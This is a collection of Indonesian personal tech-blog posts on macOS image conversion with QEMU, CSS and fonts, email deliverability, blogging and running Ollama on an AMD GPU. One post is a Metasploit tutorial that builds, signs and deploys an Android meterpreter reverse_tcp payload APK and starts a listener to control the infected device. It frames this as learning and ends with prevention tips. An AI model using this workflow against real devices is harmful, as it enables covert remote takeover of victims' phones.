File instalasi macOS hanya terdapat sampai Catalina, dari Big Sur ke atas hanya terdapat file upgrade yang hanya dapat dilakukan jika sudah di dalam desktop macOS.

Download Catalina

Saat artikel ditulis, Catalina versi 10.15.7 adalah yang mutakhir dan berada di urutan ke-10
Jalankan perintah nomor urut macOS yang dipilih, misal 10 untuk Catalina versi 10.15.7
Proses akan dimulai untuk mengunduh beberapa file
Jika unduhan sudah selesai, akan muncul tampilan File saved to yang mengarah ke folder di mana file diunduh

Di dalam folder unduhan akan terdapat file bernama BaseSystem.dmg yang kita perlukan untuk konversi ke format file .vmdk (Virtual Machine Disk)

Instalasi QEMU

Kunjungi website QEMU, pilih folder sesuai arsitektur komputer, misal folder w64 untuk x64, lalu pilih 2024
Saat artikel ini ditulis, file mutakhir dari QEMU ialah qemu-w64-setup-20240903.exe, pilih untuk mengunduh
Jalankan program QEMU untuk memulai instalasi, pada langkah Choose Components, hanya cek Tools dan DLL Library, lalu selesaikan instalasi

Pasang perintah QEMU ke Env. Windows

Salin lokasi instalasi di mana file qemu-img.exe berada, misal C:\Users\John\AppData\Local\Programs\qemu
Buka Env. Windows dengan menekan tombol Win lalu ketik env, lalu klik "Edit the system environtment variables", lalu klik Environtment Variables
Di bagian User, klik Path, lalu klik Edit
Klik New lalu tempel lokasi qemu-img.exe yang sudah disalin

BaseSystem.dmg to VMDK

Buka cmd dan navigasikan ke folder unduhan macOS di mana BaseSystem.dmg berada Download Catalina - Step 4
Jalankan perintah berikut untuk mengkonversi ke format file .vmdk qemu-img convert -O vmdk -o compat6 BaseSystem.dmg macos-catalina-recovery.vmdk

Belajar Android Hacking dengan Metasploit di Tahun 2024

2024-09-15T17:00:00Z

Disclaimer

Di artikel ini saya menjelaskan langkah-langkah untuk membuat payload android menggunakan Metasploit sebagai metode peretasan atas dasar pembelajaran untuk menambah wawasan dan mencegah terjadinya peretasan.

Saya menggunakan sistem operasi Windows, silakan pahami perbedaan dalam langkah-langkah jika menggunakan sistem operasi lain.

Download

Saat mengunduh OpenJDK, sesuaikan sistem operasi dan arsitektur komputer, lalu pilih Package Type: JDK. Sebelum instal Metasploit, silakan baca dokumentasi di website official-nya. Saat instalasi Metasploit, akan muncul satu atau lebih permintaan akses administrator saat proses instalasi berlangsung.

Metasploit

Buka folder metasploit lewat cmd, C:\metasploit-framework (Jika tidak diubah saat instalasi)
Untuk melihat perintah yang tersedia, jalankan perintah `` msfconsole`
Untuk melihat list platform output yang tersedia, jalankan perintah msfvenom --platform android/meterpreter/reverse_tcp –list plafroms
Untuk melihat list arsitektur output yang tersedia, jalankan perintah msfvenom --platform android/meterpreter/reverse_tcp –list aarchs

Payload

Jalankan perintah berikut untuk membuat payload pada platform android. msfvenom --payload android/meterpreter/reverse_tcp –platform android –aarch dalvik LHOST=192.168.100.7 LPORT=4444 –out test.apk LHOST adalah IP milik attacker dan LPORT adalah port yang akan digunakan sebagai listener dari attacker.

Salin output file berformat .apk di path C:\metasploit-framework ke dalam folder openjdk\bin. Lalu buka folder openjdk\bin lewat cmd, dan ikuti langkah berikut.

Sign APK

Jalankan perintah ini untuk membuat keystore yang diperlukan untuk sign .apk keytool -genkey -V -keystore key.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
Jalankan perintah ini untuk sign .apk jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore test.apk test
Jalankan perintah ini untuk mengecek .apk telah di-sign jarsigner -verify -verbose -certs test.apk

Sampai langkah ini file .apk berisi payload sudah di-sign.

Monitoring

Jalankan perintah ini satu per-satu untuk memulai listener dengan pengaturan payload yang sudah dibuat di langkah sebelumnya. msfconsole use multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST 192.168.100.1 set LPORT 4444 exploit

Sampai langkah ini listener sudah berjalan untuk memonitor. Jika aplikasi diinstal (Do with your own risk) dengan permission yang diizinkan lalu dijalankan (secara default), akan muncul sesi peretasan pada listener.

Peretasan

Jalankan perintah berikut pada listener untuk mengecek info sistem pada device yang sudah diinstal payload sysinfo Temukan perintah lainnya sebagai pembelajaran di dokumentasi pada website official Metasploit.

Pencegahan

Cara mencegah peretasan dengan metode aplikasi yang disusupi payload adalah

Tidak mengunduh aplikasi dari situs atau aplikasi yang tidak resmi
Selalu izinkan platform untuk melakukan scanning setiap kali aplikasi diinstal
Memilah permission dengan hanya mengizinkan yang diperlukan dan menolak izin yang tidak masuk akal aplikasi tersebut

Alasan Saya Harus Aktif Berkontribusi di Repositori GitHub

2024-09-13T17:00:00Z

TL;DR

Saya perlu aktif berkontribusi ke repositori alasannya tentu sebagai usaha untuk tekun di bidang pekerjaan saya. Membayangkan dapat berkontribusi ke repositori open-source memang menarik, tapi saya mengutamakan portfolio dari repositori milik saya sendiri sebagai bentuk percobaan penyelesaian sebuah kasus.

Sebagai Portfolio

Saya percaya bahwa aktif-tidaknya kontribusi yang terlihat pada profil GitHub memiki pengaruh pada portfolio, jika pembaca sudah tidak setuju dengan paragraf pertama ini, membaca selebihnya akan sia-sia. Tentu kita membutuhkan portfolio sebagai modal utama untuk mendapatkan peluang dalam berkarir.

Untuk Berkomunitas

Manfaat lain dari aktif berkontribusi adalah peluang untuk mengenal komunitas lain, dalam konteks ini adalah kelompok sosial yang terhubung dengan repositori di mana kita berkontribusi. Dari mengerti bidang fokus seseorang lewat profil GitHub-nya, hingga bersosial yang memungkinkan juga untuk dapat peluang berkarir.

Kenapa GitHub?

GitLab masih menjadi hosting repositori paling populer dibandingkan GitLab yang biasanya digunakan self-hosted bersama server fisik milik sebuah perusahaan, juga dibandingkan BitBucket yang biasanya digunakan tanpa memiliki server fisik sembari memanfaatkan layanan milik Atlassian lainnya untuk pekerjaan.

Google Material Color dan Icons 2014 Masih Solusi Cepat Mendesain

2024-09-11T17:00:00Z

Material Design 2 yang dirilis oleh Google ke publik pada tahun 2014 memiliki tools yang sampai sekarang masih berguna dan sangat mudah digunakan, yaitu:

Google Fonts

Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini

<link rel="preconnect" href="https://fonts.googleapis.com"/>
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin/>
<link href="https://fonts.googleapis.com/css2?family=Noto+Serif:wght@400;700&display=swap" rel="stylesheet"/>

Atau pasang dengan cara self-hosting iconnya seperti ini

@font-face {
  font-family: 'Noto Serif';
  font-style: normal;
  font-weight: 400;
  font-stretch: 100%;
  font-display: swap;
  src: url(“../NotoSerif-Regular.woff2”) format('woff2');
}
@font-face {
  font-family: 'Noto Serif';
  font-style: normal;
  font-weight: 700;
  font-stretch: 100%;
  font-display: swap;
  src: url(“../NotoSerif-Bold.woff2”) format('woff2');
}
body {
  font-family: 'Noto Serif';
}

Material Icons

Memasang iconnya secara langsung lewat CDN dari Google Fonts seperti ini

<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"/>

Atau pasang dengan cara self-hosting iconnya seperti ini

@font-face {
  font-family: 'Material Icons';
  font-style: normal;
  font-weight: 400;
  src: url(../MaterialIcons-Regular.woff2) format('woff2');
}
.material-icons {
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;
  font-size: 24px;  /* Preferred icon size */
  display: inline-block;
  line-height: 1;
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  /* Support for all WebKit browsers. */
  -webkit-font-smoothing: antialiased;
  /* Support for Safari and Chrome. */
  text-rendering: optimizeLegibility;
  /* Support for Firefox. */
  -moz-osx-font-smoothing: grayscale;
  /* Support for IE. */
  font-feature-settings: 'liga';
}

Material Design color palettes

Cara Menggunakan cukup kunjungi website-nya di sini dan salin kode hex-nya. Cara menggunakan hex warna di CSS cukup hanya menyalin contoh color: #FFEBEE. Sementara di Flutter adalah dengan Color(0xFF[Hex]), contoh Color(0xFFFFEBEE)

Membuat Komponen Input yang Fleksibel untuk Desain Apapun

2024-09-10T17:00:00Z

Spellcheck dan Autocomplete

Hampir semua browser modern menggunakan dua fitur HTML ini, pertama spellcheck berguna untuk mengecek typo yang user tulis ke inputan, dengan cara membandingkan value dengan kamus yang browser miliki. Sayangnya, fitur ini jarang disetel oleh user awam, menjadikan error spellcheck tampil terus menerus di inputan jika user menggunakan bahasa berbeda dengan setelan browser. Kedua autocomplete, berguna untuk mempermudah inputan dengan cara menyimpan data setelah pertama kali dikenali oleh browser. Biasanya data yang umum digunakan pada website, seperti nama, alamat, nomor telepon, dll. Dalam beberapa kasus autocomplete banyak kekurangannya, seperti popup yang menampilkan data sensitif dan bukan yang ingin ditulis terekam saat menggunakan tertangkap layar, lalu beberapa kasus hack dilaporkan memanfaatkan fitur ini dan dugaan data yang dimanfaatkan oleh browser.

<input type={type} spellCheck=”false” autoComplete=”off” />

Bungkus Dengan label dan div

Membungkus input dengan div lalu bungkus lagi dengan label membuat inputan menjadi fleksibel. Alasan kenapa menggunakan elemen label adalah justru struktur inputan di dalam label dianggap semantik, agar elemen dikenali oleh browser. Dan menggunakan div setelah memiliki label menjadikan bungkus kedua menjadikan komponen ini benar-benar sangat fleksibel dalam skenario desain apapun.

<label>
<div>
<input type={type} />
</div>
</label>

Contoh penggunaan dengan label dan button bersamaan

<label class=”flex flex-col”>
{label && <p>{label}</p>}
<div class=”flex”>
<input type={type} />
{ postIcon && <button type=”button”>
<span class=”material-icons”>visibility_off</span>
</button> }
</div>
</label>

Contoh penggunaan checkbox dengan pesan error bersamaan

<label class=”flex flex-col”>
<div class=”flex”>
<input type=”checkbox” checked={checked} onChange={onChange} />
<p>{label}</p>
</div>
{isError && <p>Silakan pilih</p>}
</label>

Membandingkan 3 Font yang Mudah Dibaca untuk Koding

2024-09-10T17:00:00Z

Untuk membandingkan perlu parameter untuk mengetahui fitur ideal yang dimiliki font untuk koding, sedangkan saya kurang berkompeten untuk membuatnya sendiri, jadi saya mendeskripsikan ulang fitur-fitur milik Jetbrains Mono sebagai pertimbangan untuk ketiga font ini.

Ukuran Lebar & Tinggi Huruf

Ukuran lebar beberapa huruf JetBrains Mono lebih sempit dibanding Fira Code, tetapi Iosevka paling sempit dari ketiganya, ini faktor yang membuat Iosevka paling tajam untuk dibaca. Lalu JetBrains Mono menambah ukuran tinggi beberapa huruf lowercase, tapi pada beberapa huruf, Fira Code dan Iosevka terlihat lebih tinggi. Contoh perbandingan sebagai kelebihan, Consolas yang hurufnya lebih lebar tetap terlihat kecil dibanding JetBrains yang lebih sempit namun lebih tinggi.

Lurus Secara Vertical

Kelebihan utama menggunakan font berjenis monospaced adalah lebar ruang huruf yang tetap sehingga mudah dibaca secara horizontal dan terlebih vertical, ini adalah alasan utama untuk tidak menggunakan font berjenis serif maupun sans-serif. JetBrains dilansir memiliki lebar huruf yang sama di setiap ruang hurufnya, Fira Code dan Iosevka tidak mendeskripsikan fitur ini, namun Iosevka terlihat memiliki ruang dan lebar huruf yang paling sempit, juga huruf yang paling tipis dari ketiganya.

Pembedaan Antar Huruf

Pembeda antar huruf diperlukan untuk memudahkan pembacaan huruf yang mirip seperti i, l 1, dan I. JetBrains justru mendeskripsikan ujung huruf yang tidak keriting sebagai faktor mudah dibaca untuk beberapa hurufnya, sementara Fira Code yang paling banyak menggunakan ujung huruf yang keriting, dan Iosevka yang memiliki ujung huruf keriting yang paling panjang.

Penggunaan Ligature

Saya tidak gemar menggunakan ligature karena merasa ligature tidak mempermudah pembacaan kode, justru menurut saya membuat bingung saat membaca, menyeleksi dan menghapusnya. JetBrains Mono memiliki fitur ligature, Fira Code memiliki fitur ligature yang dapat dinonaktifkan per-simbol, sementara Iosevka yang paling spesial karena semua karakter seperti huruf, angka dan simbol bisa diubah menggunakan customizer-nya yang saya cantumkan tautannya di bawah ini.

Dilema Saya dalam Menentukan Platform Blog untuk Menulis

2024-09-08T17:00:00Z

TL;DR

Saya menyukai bacaan termasuk tulisan saya sendiri, sayangnya saya masih merasa sulit menentukan detik pertama setiap menulis. Saya rasa kesulitan ini dapat dibiasakan, kebiasaan ini dapat dimanfaatkan, manfaat ini bisa menguntungkan untuk saya di masa mendatang.

Medium

Medium adalah platform blog yang populer saat ini. Diperlukan akun untuk membaca dan menulis artikel, sedangkan membership diperlukan untuk membaca artikel yang member-only, membership juga syarat jika pembaca adalah penulis yang ingin tulisannya menghasilkan. Membership medium seharga 5$ perbulan atau 60$ jika pertahun. Dari beberapa sumber yang saya baca, pendapatan per-view sekitar 0.01-0.03$ atau 10-30$ jika laman dibaca sebanyak 1000 kali.

dev.to

Dev.to adalah platform blog khusus untuk para developer, banyak artikel terkait dunia IT ditulis oleh orang-orang, dari software sampai hardware, dari yang mendasar sampai yang mendetail. Beberapa manfaat menulis di dev.to diantaranya pertama tentu sebagai jurnal jalur pembelajaran, sebagai portfolio, juga berinteraksi ke sesama penggiat IT yang mungkin menjadi peluang karir.

Self-hosting

Namun untuk saat ini saya lebih memilih self-hosting untuk menunjukkan keseriusan saya dalam memulai membangun identitas. Manfaatnya kecilnya adalah saya membayar lebih sedikit, kekurangannya adalah saya masih perlu platform tambahan untuk muncul di keramaian. Saya berharap ini bisa bermanfaat.

Aplikasi WYSIWYG Email Harus Dibuat Versi Android-nya

2024-09-08T17:00:00Z

TL;DR

Sampai pada pembaruan terakhir, aplikasi pembuat template email ini masih sangat ringkas, saya pikir akan cocok jika dibuat versi mobilenya. Jika diwujudkan dengan fitur yang sekarang, aplikasi ini memiliki potensi untuk bersaing dengan kompetitor yang telah lebih dulu hadir dan dengan fitur yang sudah dibandrol.

Simpel dan Kompleks

Kompleksitas aplikasi ini bergantung pada kustomisasi pengguna. Kebutuhan pengguna yang bermacam-macam dari mulai penggunaan personal sampai bisnis tentu semakin terbantu jika aplikasi pendukung pekerjaannya dapat diakses secara mobile.

Internet Hanya Jika Diperlukan

Aplikasi ini membutuhkan koneksi internet hanya untuk memuat aset gambar jika menggunakan tautan eksternal, jika tidak, gambar hanya tidak dapat dimuat, dengan aplikasi yang tetap bisa dijalankan, ini yang saya maksud mobilitas.

Mudah Dioperasikan

Secara spesifikasi aplikasi ini nantinya sangat ringan, dibuat menggunakan aplikasi flutter yang hingga saat ini masih memimpin secara performa dibanding framework lain dalam pengembangan aplikasi mobile. Dan secara tampilan akan mengikuti versi web yang sudah dibuat ringkas, terkesan kompleks, dengan pilihan kustomisasi yang banyak.

5 Trik CSS agar Tampilan Front-end Mirip dengan Desain Mockup

2024-09-12T00:00:00+07:00

TL;DR

Implementasi tampilan website yang diharuskan sesuai dengan desain mockup dari designer seringkali membuat saya sebagai Front-end kewalahan sehingga memperlambat waktu development. Menjadikan saya memiliki property andalan yang fleksibel untuk banyak kasus, dan inilah lima diantaranya.

1. display: flex

Karena terlampau sering, hampir semua kasus design dapat dituntaskan dengan penggunaan property display: flex.

2. Pseudo ::before & ::after

Dalam contoh kasus seperti background blur di area tertentu, dan dekorasi di sudut-sudut komponen, tidak ada yang lebih fleksibel dari pseudo, seperti membuat elemen tanpa elemen. Penggunaan psuedo harus disertai property content walaupun value kosong untuk berhasil.

3. calc()

Penggunaan value calc() tidak hanya untuk responsifitas halaman situs, dalam banyak kasus kita perlu membuat komponen yang ukurannya menyesuaikan komponen lain, solusinya adalah value calc() yang penggunannya seperti “calc(100dvh - 100px)”, juga bisa ditumpuk seperti “calc((100% - 10px) + 100px)”

4. clip-path

Desain web pada dasarnya hanyalah kotak-kotak yang memiliki konten di dalamnya. Ada kalanya kita mendapati desain yang bentuknya tidak kotak dan tidak bisa diakali dengan property border-radius. Penggunaan property clip-path yang jarang membuat kesenangan dalam menggunakan property ini terasa eksklusif.

5. Angka Cantik

Trik terakhir ini perlu waktu untuk diterapkan karena terkait dengan rasa. Terkadang desainer justru yang memberi kita angka yang tidak digunakan dalam mendesain contohnya 5, 13, atau 17 yang lebih baik jika diterapkan dengan 6, 12, dan 16. Angka-angka ini banyak digunakan seperti resolusi monitor umum, ukuran font menulis. Docs di berbagai framework CSS membuat kita mengerti cara penggunaannya.

Ini Alasan Saya Memutuskan untuk Aktif Menulis Blog

2024-09-04T17:00:00Z

TL;DR

Menulis adalah hobi yang saya aktif lakukan saat remaja, dari menulis saya mengenal banyak hal seperti desain dan programming. Platform Blogger yang banyak orang gunakan pada saat itu, memperkenalkan saya ke orang-orang yang sehobi dan membuat saya ingin mendesain template blog yang menarik, hal inilah yang membuat saya ketagihan untuk belajar Programming.

Saya Punya Jurnal

Menulis untuk saya adalah jurnal sebagai pengingat seperti apa yang akan saya kerjakan nanti, pengalaman apa yang saya dapat dari yang sudah dikerjakan sebelumnya, atau sekedar hal yang saya suka dan tidak, juga hal terbaru dan yang sedang tren. Saya berharap untuk lebih banyak hal yang bisa saya ceritakan dengan lebih luwes, tidak banyak waktu untuk berpikir dan lebih santai untuk menceritakannya di waktu yang tepat.

Rencana Lebih Terstruktur

Saya sering menulis soal apa yang ingin saya kerjakan, gambaran yang sudah terpikir ingin langsung saya tulis agar bisa tersusun menjadi rencana yang bisa saya kerjakan kedepannya. Bukankah kita sering terpikir hal yang kita anggap menarik namun lepas begitu saja karna hal tersebut bukan dalam priotitas pada saat itu, hal ini bisa diminimalisir dengan menulis. Dengan menuliskannya, saya bisa menyusun ide mana yang perlu dan tidak, rencana saya jadi lebih masuk akal dan lebih mudah untuk diimplementasi.

Untuk Bercerita

Dengan menulis saya bisa mengungkapkan apa yang saya rasakan akan suatu hal dengan jujur tanpa ada bias dari siapapun dan apapun. Saya bisa menilai sesuatu dari perspektif saya, dan punya waktu untuk coba mengerti sudut pandang yang lain.

Kenapa Masih Email dan Cara agar Email Tidak Dianggap Spam

2024-09-03T17:00:00Z

TL;DR

Menggunakan email sebagai sarana promosi sepeti pisau bermata dua, kelebihannya adalah biaya yang relatif murah dan proses terusannya yang mudah, namun kekurangannya ada 2 opsi bagi pelanggan yang terganggu untuk melakukan satu langkah keluar dari jangkauan pengirim, yaitu Unsubscribe dan Report to spam.

Saya menggunakan tier gratis yang disediakan Zoho sebagai hosting email, perusahaan penyedia software bisnis asal India, saya tinggal menambahkan beberapa DNS record yang diperlukan.

Untuk DNS Management saya menggunakan CloudFlare dengan tier gratis, saya ingin memanfaatkan SSL yang bisa dihubungkan ke Vercel, karena saya tidak menyertakan SSL saat pembelian domain.

Vercel saya gunakan sebagai platform deploy yang secara default sudah terintegrasi dengan github agar pengalaman development lebih nyaman karena localhost, saya gunakan tier gratisnya juga.

Semua proses awal pada ketiga platform tersebut memerlukan waktu, termasuk waktu propagasi saat pergantian DNS, jadi tidak sulit tapi tidak mudah. Jika semuanya sudah berjalan, maka penerimaan dan pengiriman email akan berjalan lancar.

Masalahnya

Pengiriman email tidak selalu lancar, ada faktor keamanan yang dimiliki penyedia layanan email yang membuat email tidak terkirim, email ditandai sebagai spam, bahkan pengirim dianggap sebagai spam.

Pencegahannya

Memuat tautan eksternal yang tidak aman, misalnya situs tanpa SSL atau yang ditandai red flag, dan memuat kode yang mencurigakan seperti form adalah faktor besar ditandai sebagai spam.

Penggunaan bahasa yang digunakan pada judul dan konten email tidak boleh mengandung kata-kata yang melanggar masing-masing penyedia layanan email.

Mencantumkan tautan untuk unsubscribe, nama pengirim, alamat fisik, dan kontak tempat kerja atau bisnis adalah salah satu cara untuk lolos dari filter spam dari mesin dan pelanggan.

Bagaimana Saya Membuat Template Web yang Disukai

2024-09-02T17:00:00Z

TL;DR

Saya membutuhkan template untuk website personal saya yang akan berisi showcase proyek dan tulisan saya. Walaupun dibuat khusus, mungkin orang lain dapat menikmatinya. Kalau begitu, template seperti apa dengan kebutuhan seperti ini yang disukai.

Sampai waktu artikel ini ditulis, tampilan website saya ini masih menggunakan template blog bawaan framework Astro. Sangat tidak nyaman menggunakan template ini, bukan hanya dari tampilan yang berantakan (akibat banyak komponen yang saya hilangkan?), tapi dari kodenya juga, mungkin karena bukan milik sendiri.

Saya menginginkan tema yang formal namun tetap fun. Sebagai gambaran, saya ingin tombol bertekstur dengan font sans-serif pada laman utama dan monokrom dengan font serif di pada laman blog.

Laman Utama

Di laman utama saya ingin membuat showcase berupa grid untuk beberapa proyek yang sudah dan ingin saya buat, dengan masing-masing card berisi detail tentang proyek tersebut, juga tautan repositori dan unduhan dengan tampilan yang sudah saya deskripsikan sebelumnya.

Laman Blog

Juga seperti yang sudah saya deskripsikan dengan catatan tambahan, karena saya menyukai platform blog terkenal seperti medium, dev.to, bahkan blog personal milik DHH, mungkin saya akan menjadikan tampilan website itu sebagai referensi.

Percobaan apa untuk menjadi disukai

Mungkin saya perlu memikirkan soal penggunaan:

Background bergambar pada tombol yang penting.
Layout fixed untuk menonjolkan transisi antara hero dan konten di laman utama.
Warna malam modern yang ketinggalan jaman untuk membangkitkan rasa nostalgia.

Menurut saya walaupun dibuat khusus untuk website pribadi saya, template ini nantinya mungkin akan cocok digunakan untuk website personal yang kebutuhannya mirip seperti saya.

Fitur Ini Harus Ditambahkan ke Aplikasi WYSIWYG Email

2024-09-01T17:00:00Z

TL;DR

Saya membutuhkan promosi artikel lewat email untuk dibagikan ke pelanggan. Untuk membuat template email marketing saya akan memakai aplikasi WYSIWYG Email. Namun proyek personal milik saya ini tidak memiliki fitur layout artikel, maka saya harus menambahkan fiturnya terlebih dahulu untuk mulai menggunakannya.

WYSIWYG Email adalah proyek personal milik saya, yang saya kerjakan di sela-sela mencari pekerjaan pada Q4 tahun 2023. Aplikasi ini berguna untuk membuat template email marketing secara cepat dan rapih. WYSIWYG Email akan menghasilkan kode yang dapat langsung disalin ke aplikasi email, tentunya dengan format penulisan HTML. Baca opini saya tentang WYSIWYG Email.

WYSIWYG Email dibuat menggunakan React sebagai library JavaScript dengan vanilla CSS. Untuk menambahkan fitur layout artikel sepertinya tidak terlalu sulit, saya hanya perlu menambahkan form tambah widget, entah menggunakan yang sudah ada atau harus tersendiri, yang akan menambahkan komponen ke kanvas dan dapat dikustomisasi lewat form. Terasa cukup singkat.

Kasus paling menguntungkan dengan ditambahkannya fitur layout artikel ini adalah jika aplikasi ini digunakan untuk membuat template email bisnis, berisi berita terkait produk sebagai bahan promosi bisnis tersebut. Saya belum tertarik untuk memikirkan pencegahannya, karena tujuannya tetap sebagai solusi kepada yang membutuhkan template email marketing, dalam kasus fitur layout artikel ini adalah saya sendiri.

Rangkuman Minggu Ini #1

2024-08-31T17:00:00Z

26 Agustus

Cara Instal Ollama Menggunakan RX 6600 di Windows

Awal minggu ini saya menulis tentang instalasi Ollama di sistem operasi Windows yang ditenagai kartu grafis RX 6600. Menariknya adalah saya tidak hanya membahas untuk model kartu grafis itu sendiri, namun juga model lain di seri yang sama, jadi cara instalasi inipun berguna untuk diterapkan di mesin dengan kartu grafis seri tersebut.

28 Agustus

CSS is Dead, Long Live CSS

Dua hari berikutnya saya menulis tentang kenapa CSS tidak kalah penting dari ketiga elemen pengembangan web. Saya menjelaskan dukungan kepada CSS dari komunitas dan browser membuatnya tetap relevan, dan perkembangan AI hanya mempermudah developer untuk menggunakan CSS tanpa meninggalkan penulisan CSS itu sendiri. Karena kepada CSS, desainer dan developer menggantungkan seni yang dituangkan lewat tampilan situs kepada pengguna.

30 Agustus

Saya Harus Memiliki UI Kit Sendiri #2

Lalu di hari Jumat, saya melanjutkan artikel yang pernah saya tulis dengan judul yang sama untuk lebih merinci alasan kenapa saya harus membuat UI Kit sendiri sebagai developer yang memiliki selera desainer. Salah satu keinginan saya adalah untuk membuatnya dapat diterapkan ke multi-platform, sehingga jika aplikasi yang dibangun memang dibuat untuk multi-platform, desainnya dapat langsung diterapkan dengan konsisten.

31 Agustus

Media Sosial Untukku

Keesokannya di hari Sabtu, saya mencoba menceritakan alasan saya yang tidak menggunakan media sosial lebih dari 5 tahun. Sebenarnya bukan benar-benar tidak menggunakan media sosial, tapi saya menganggap fitur utama dari media sosial itu sendiri tidak ada. Saya tidak benar-benar menggunakan fitur chat, komentar di postingan, follow atau friends, dsb. Hal ini tentu bukan kebanggan karena saya sendiri pun merasa butuh dan terus mencari media sosial apa yang sebenarnya saya butuhkan.

Media Sosial Untukku

2024-08-30T17:00:00Z

TL;DR

Selama lebih dari 5 tahun, saya melepaskan sosial media sebagai sarana bersosial. Alasan saya untuk tidak menggunakan media sosial memang keputusan yang benar sampai saat ini, namun tidak membuat saya merasa puas, hanya terus memikirkan adakah media sosial yang cocok untuk saya.

Media Sosial saat ini adalah platform wajib yang semua orang gunakan untuk melakukan aktifitas sosial. Juga digunakan untuk membuat, membagikan, dan mencari ide konten.

Postingan per Kategori

Tentu hal utama yang harus ada dan tentunya saya butuhkan adalah fitur posting untuk membagikan konten berisi teks singkat, gambar, maupun tautan yang sedang saya pikirkan. Bukan postingan yang diacak untuk muncul di pengguna tertentu namun postingan yang bisa dipilih kategorinya oleh penulis sehingga pembaca dapat menemukannya, juga konten terkait lain yang ada dalam kategori tersebut.

Grup

Fitur grup di sosial media adalah ide jenius, pengguna bisa bergabung dengan pengguna lain yang sekiranya terkait dalam suatu hal. Saya rasa saya sangat membutuhkan fitur ini jika saya aktif di suatu media sosial.

Fitur yang tidak saya perlukan

Saat masih bermedia sosial saya jarang dan berencara untuk tetap tidak menggunakan fitur chat, follow, dan friends.
Untuk fitur komen di kebanyakan media sosial saat ini masih sama seperti penilaian saat dulu, pengguna terlalu mudah untuk menuliskan benak tanpa batasan yang akibatnya pun tanpa ada batasan.

Saya Harus Memiliki UI Kit Sendiri #2

2024-08-29T17:00:00Z

Dari artikel sebelumnya yang sudah saya buat, saya memutuskan untuk melanjutkan artikelnya karena masih ada beberapa catatan untuk diri saya sendiri soal alasan dan planning ini.

Arti dari UI Kit Ini

Yang saya bayangkan akan arti dari UI Kit ini bukan hanya teknik penerapan praktek melainkan ciri khas dan kesan pertama yang ingin saya tunjukkan dari diri saya, seperti mendesain cover buku.

Seperti Apa Jadinya

Hampir semua UI Kit menawarkan desain yang umum, dibuat cocok digunakan untuk keperluan apapun. Untuk beberapa komponen saya menginginkan UI yang pas untuk keperluan daripada memaksakan desainnya menjadi umum, agar tersampaikan arti dari desain itu sendiri.

Menjadi yang Paling Bagus

Ya, untuk diri saya sendiri, tergantung untuk berapa lama, tapi tentu banyak yang sudah lebih dahulu dan jauh lebih bagus dari yang akan saya buat. Waktu dan usaha lebih adalah harga yang harus ditukar untuk membuatnya tanpa menggunakan yang sudah ada.

Kapan Saya Membutuhkannya

Sejujurnya saya tidak yakin kapan saya membutuhkannya, yang saya pikirkan hanyalah saya membutuhkannya. Tidak menghiraukan kapan, bahkan kalaupun nantinya tidak saya butuhkan, setidaknya saya pernah membuatnya.

Multi-platform Adalah Kunci

Membuatnya tersedia untuk diimplementasi di lebih dari satu platform adalah kunci untuk membuat saya lebih bersemangat membuatnya dan saya rasa bersemangat untuk menggunakannya juga. Memiliki UI yang unik dan konsisten di multi-platform tentu adalah nilai lebih.

Bagaimana Membuatnya Multi-platform

Pengalaman saya dalam mendesain dan implementasi design ke berbagai platform cukup membuat saya membayangkan bagaimana saya membuatnya di platform Web, dengan alasan teknis saya memagarkan optimisme ini agar tetap ingin tahu akan hal yang belum saya kuasai.

CSS is Dead, Long Live CSS

2024-08-27T17:00:00Z

TL;DR

CSS adalah teknologi yang dibelakangkan untuk orang-orang yang ingin mempelajari web dev, padahal “ketidakhadirannya” saat ini adalah jawaban untuk pertanyaan: “Benarkah?”, di setiap saran influencer teknologi yang menyebut CSS paling tidak penting di antara ketiga teknologi utama web dev (HTML, CSS JS).

CSS sama penting

Dalam pekerjaan bahkan proyek pribadi, penggunaan CSS tetap sama penting.
Siapa yang ingin membiarkan proyek pribadi yang akan digunakan sebagai portfolio berpenampilan seperti website jadul, tidak konsisten pada jarak, ukuran maupun warna di setiap komponen, atau jebol dari elemen parent-nya.
Bukan beranggapan untuk menjadi yang paling cantik dan modern, tapi ini adalah cara mencoreti kanvas milik sendiri.

Apa buktinya

Pembaruan dan Dukungan
CSSWG adalah komunitas penggiat CSS yang pada tahun ini baru saja merilis @property dalam proyek CSS Houdini, @property sendiri adalah rule alternatif dari :root yang berfungsi untuk mendeklarasikan variable. Pembaruan ini langsung diwadahi support dari browser modern. Per tanggal artikel ini dibuat, isu penggunaan shorthand agar lebih ringkas untuk rule @property ada dalam tahap proposal.
@property: Next-gen CSS variables now with universal browser support
@property" | Can I use
Shorthand for custom property declaration
Variasi library
Perkembangan library JavaScript beriringan dengan variasi library CSS, masing-masing menawarkan solusi dalam kasus masalah yang berbeda.

AI Tidak Memiliki Seni

Penggunaan AI untuk menuliskan CSS sebagai jawaban dari pertanyaan yang dilontarkan, justru membuat percaya diri bahwa kemampuan dalam ber-CSS tidak tersingkirkan.
Pada saat AI menghasilkan banyak class berisi banyak rule dalam sekejap, siapa yang akan mengeceknya, siapa yang tahu bagian mana yang benar, bahkan siapa yang tahu jawaban itu benar.

Cara Instal Ollama Menggunakan RX 6600 di Windows

2024-08-25T17:00:00Z

Apa itu Ollama

Ollama adalah program open-source untuk menjalankan models untuk mengenali dan menghasilkan teks, serta memproses bahasa. Ollama dapat menjadi alternatif dari Copilot yang dibandrol $10/bulan untuk penggunaan individu.

Secara official Ollama memberikan support untuk beberapa kartu grafis AMD pada tanggal 14 Maret 2024, termasuk Radeon RX 6000 series dimulai dari RX 6800. Ollama now supports AMD graphics cards

Untuk seri lain seperti RX 6750 XT, RX 6700 XT, RX 6700, RX 6650 XT, RX 6600 XT, RX 6600, dapat menggunakan hasil fork Ollama yang dikhususkan untuk support lebih pada AMD. Windows-supported GPUs

AI Model

Per tanggal artikel ini dibuat, AI Model miliki google yaitu CodeGemma terbilang cukup baru, artikelnya merilis model 2b dan 7b pada tanggal 9 April di Hugging Face. CodeGemma - an official Google release for code LLMs

